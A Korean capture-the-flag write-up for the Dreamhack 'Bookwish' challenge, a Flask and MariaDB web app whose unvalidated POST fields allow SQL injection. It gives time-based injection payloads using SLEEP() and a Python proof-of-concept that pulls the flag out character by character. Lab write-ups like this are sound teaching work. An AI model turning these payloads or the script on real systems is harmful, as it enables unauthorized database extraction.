Dreamhack CTF Season 7 Round #16: Bookwish

환경


  • Python 3.10 버전의 Flask로 구성된 웹 서버.
  • MariaDB와 연동하여 데이터를 저장한다.
  • 기본페이지[/]에서 POST 메서드를 사용해 title, author 파라미터로 데이터를 삽입할 수 있다.


접근


  • POST로 받은 사용자 입력 값에 대한 검증이 존재하지 않고, prepare statement를 사용하지 않으므로 SQL Injection 공격이 가능할 것이라고 판단된다.
  • 응답은 “Thank you! …”와 “Error…”로 나뉘므로 Blind SQL Injection을 시도할 수 있을 듯하다.


풀이


  • 아래와 같이 두 페이로드를 삽입하면 참과 거짓이 나올 줄 알았으나, 모두 참에 대한 결과를 반환한다. 그러므로 Blind SQL Injection이 아닌 Time-based SQL Injection으로 데이터를 추출한다.
1' AND IF((SELECT SUBSTR(author,1,1) FROM requests WHERE id=1)='D', 1, 0) ;-- -
1' AND IF((SELECT SUBSTR(author,1,1) FROM requests WHERE id=1)='A', 1, 0) ;-- -
  • 참일 경우, SLEEP() 함수로 응답에 딜레이를 걸어서 참/거짓의 유무를 판단한다. 참이라면 페이지가 늦게 렌더링 되고, 거짓이라면 바로 반환된다.
1' AND IF((SELECT SUBSTR(author,1,1) FROM requests WHERE id=1)='D', SLEEP(3), 0) ;-- -


PoC 코드


import requests
import time

url = 'http://host1.dreamhack.games:9634/'

flag_value= "0123456789abcdef}"

flag = ''
while True:
    for flag_digit in range(4,100):
        for flag_word in flag_value:
            body = {
                "title": "1",
                "author": f"1' AND IF((SELECT SUBSTR(author,{flag_digit},1) FROM requests WHERE id=1)='{flag_word}', SLEEP(3), 0) ;-- -"
            }

            time_start = time.time()
            response = requests.post(url, data=body, timeout=10)
            time_end = time.time() - time_start

            if (time_end >= 3):
                flag += flag_word
                break
        if (flag[-1] == '}'):
            break
    break

print(f"DH{{{flag}")


결과


POC 코드를 실행하면 3분 정도 기다리면 아래와 같이 플래그를 획득할 수 있다.

Published by